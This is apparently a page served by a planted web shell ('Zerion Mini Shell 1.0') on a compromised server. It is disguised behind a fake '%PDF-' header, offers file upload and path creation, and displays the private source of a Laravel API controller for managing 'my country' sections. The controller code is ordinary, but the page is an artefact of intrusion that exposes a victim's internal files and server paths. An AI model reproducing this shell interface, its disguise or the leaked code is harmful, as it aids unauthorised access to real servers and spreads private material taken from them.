%PDF- %PDF-
Mini Shell

Mini Shell

Direktori : /var/www/html/diaspora/api_internal/app/Http/Controllers/Api/v1/
Upload File :
Create Path :
Current File : /var/www/html/diaspora/api_internal/app/Http/Controllers/Api/v1/MyCountrySectionsController.php

<?php

namespace App\Http\Controllers\Api\v1;

use App\Http\Controllers\Api\ApiController;
use App\Http\Requests\Api\v1\Countries\CreateMyCountrySectionRequest;
use App\Models\MyCountryCategory;
use App\Models\MyCountrySection;
use App\Transformers\MyCountryCategoryTransformer;
use App\Transformers\MyCountrySectionTransformer;
use Carbon\Carbon;
use Illuminate\Http\Request;

class MyCountrySectionsController extends ApiController
{
    /**
     * User $user.
     */
    protected $user;

    /**
     * PostsController constructor.
     */
    public function __construct()
    {
        $this->user = auth()
            ->guard('api')
            ->user();
    }

    public function index(Request $request)
    {
        $data = MyCountrySection::query();

        if ($title = $request->get('title')) {
            $data = $data->whereHas('translations', function ($q) use ($title) {
                $q->where('title', 'like', "%$title%");
                $q->where('locale', app()->getLocale());
            });
        }

        if ($catId = $request->get('category_id')) {
            $data = $data->where('category_id', $catId);
        }

        $data = $data->orderBy('order')
                     ->get();

        return $this->collection($data, new MyCountrySectionTransformer());
    }

    /**
     * @param MyCountrySection $myCountrySection
     * @return CountriesController
     */
    public function show(MyCountrySection $myCountrySection)
    {
        return $this->item($myCountrySection, new MyCountrySectionTransformer());
    }

    public function store(CreateMyCountrySectionRequest $request)
    {
        $count = MyCountrySection::query()
                                 ->count();
        /** @var MyCountrySection $section */
        $section = MyCountrySection::query()
                                   ->make($request->all());

        $section->order = $count + 1;
        $category = MyCountryCategory::query()
                                     ->find($request->get('category_id'));
        $section->category()
                ->associate($category);
        $section->save();
        activity()
            ->causedBy($this->user)
            ->performedOn($section)
            ->log('created');
        return $this->item($section, new MyCountrySectionTransformer());
    }

    public function update(CreateMyCountrySectionRequest $request, MyCountrySection $myCountrySection)
    {
        $myCountrySection->update($request->except('order'));
        $myCountrySection->updated_at = Carbon::now();
        $category = MyCountryCategory::query()
                                     ->find($request->get('category_id'));
        $myCountrySection->category()
                         ->associate($category);
        $myCountrySection->save();
        activity()
            ->causedBy($this->user)
            ->performedOn($myCountrySection)
            ->log('updated');
        return $this->item($myCountrySection, new MyCountrySectionTransformer());
    }

    public function makeVisible(MyCountrySection $section)
    {
        $section->show();
        activity()
            ->causedBy($this->user)
            ->performedOn($section)
            ->log('enabled');
        return $this->item($section, new MyCountrySectionTransformer());
    }

    public function makeInvisible(MyCountrySection $section)
    {
        $section->hide();
        activity()
            ->causedBy($this->user)
            ->performedOn($section)
            ->log('disabled');
        return $this->item($section, new MyCountrySectionTransformer());
    }

    public function moveUp(MyCountrySection $section)
    {
        $section->moveUp();
        activity()
            ->causedBy($this->user)
            ->performedOn($section)
            ->log('reordered');
        return $this->collection(MyCountrySection::query()
                                                 ->orderBy('order')
                                                 ->get(), new MyCountrySectionTransformer());
    }

    public function moveDown(MyCountrySection $section)
    {
        $section->moveDown();
        activity()
            ->causedBy($this->user)
            ->performedOn($section)
            ->log('reordered');
        return $this->collection(MyCountrySection::query()
                                                 ->orderBy('order')
                                                 ->get(), new MyCountrySectionTransformer());
    }

    public function getCategories()
    {
        $categories = MyCountryCategory::query()
                                       ->has('translations', '>=', 2)
                                       ->get();
        return $this->collection($categories, new MyCountryCategoryTransformer());

    }

}

Zerion Mini Shell 1.0